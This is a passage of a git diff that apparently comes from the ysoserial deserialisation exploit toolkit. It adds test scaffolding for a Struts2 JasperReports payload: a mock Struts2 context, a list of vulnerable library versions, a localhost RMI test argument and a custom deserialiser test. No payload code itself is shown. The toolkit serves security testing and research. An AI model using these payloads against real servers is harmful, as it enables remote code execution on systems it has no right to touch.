+ * since a context is required for the payload being triggered upon deserialisation. + * Simulates an Apache Struts2 app up and running. + */ + public static void initializeThreadLocalMockContainerForTesting() { + ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME); + configurationManager.addContainerProvider(new XWorkConfigurationProvider()); + Configuration config = configurationManager.getConfiguration(); + Container container = config.getContainer(); + + HashMap context = new HashMap(); + context.put(ActionContext.CONTAINER, container); + ActionContext.setContext(new ActionContext(context)); + } + + // add dependencies for testing a mock struts2 app + public static String[] getDependencies () { + return new String[] { + "org.apache.struts:struts2-core:2.5.20", + "org.apache.struts:struts2-jasperreports-plugin:2.5.20", + "org.apache.logging.log4j:log4j-api:2.11.1", + "ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1", + "javassist:javassist:3.12.1.GA" + }; + + } +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 48c9408d..2aa61a03 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -15,7 +15,7 @@ String MBECHLER = "mbechler"; String JACKOFMOSTTRADES = "JackOfMostTrades"; String MATTHIASKAISER = "matthias_kaiser"; - String GEBL = "gebl" ; + String GEBL = "gebl"; String JACOBAINES = "jacob-baines"; String JASINNER = "jasinner"; String KULLRICH = "kai_ullrich"; @@ -23,8 +23,14 @@ String SCRISTALLI = "scristalli"; String HANYRAX = "hanyrax"; String EDOARDOVIGNATI = "EdoardoVignati"; + String YKOSTER = "ykoster"; + String MEIZJM3I = "meizjm3i"; + String SCICCONE = "sciccone"; + String ZEROTHOUGHTS = "zerothoughts"; + String NAVALORENZO = "navalorenzo"; String JANG = "Jang"; String ARTSPLOIT = "artsploit"; + String K4n5ha0 = "k4n5ha0"; String[] value() default {}; diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java index a1523afc..ef9ec5ff 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java @@ -51,7 +51,7 @@ public void run ( Callable payload ) throws Exception { public String getPayloadArgs () { - return "rmi:localhost:" + port; + return "rmi://localhost:" + port + "/ExportObject"; } } diff --git a/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java b/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java new file mode 100644 index 00000000..6c764478 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java @@ -0,0 +1,47 @@ +package ysoserial.test.payloads; + +import java.util.HashMap; + +import com.opensymphony.xwork2.ActionContext; +import com.opensymphony.xwork2.config.Configuration; +import com.opensymphony.xwork2.config.ConfigurationManager; +import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider; +import com.opensymphony.xwork2.inject.Container; + +import ysoserial.Deserializer; +import ysoserial.test.CustomDeserializer; + +public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer { + + @Override + public Class getCustomDeserializer() { + return StrutsJasperReportsDeserializer.class; + } + + /** + * need to use a custom deserializer so that the action context gets set in the isolated class + * + * @author sciccone + * + */ + public static final class StrutsJasperReportsDeserializer extends Deserializer { + + public StrutsJasperReportsDeserializer(byte[] bytes) { + super(bytes); + } + + @Override + public Object call () throws Exception { + ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME); + configurationManager.addContainerProvider(new XWorkConfigurationProvider()); + Configuration config = configurationManager.getConfiguration(); + Container container = config.getContainer(); + + HashMap context = new HashMap(); + context.put(ActionContext.CONTAINER, container); + ActionContext.setContext(new ActionContext(context)); + return super.call(); + } + } + +}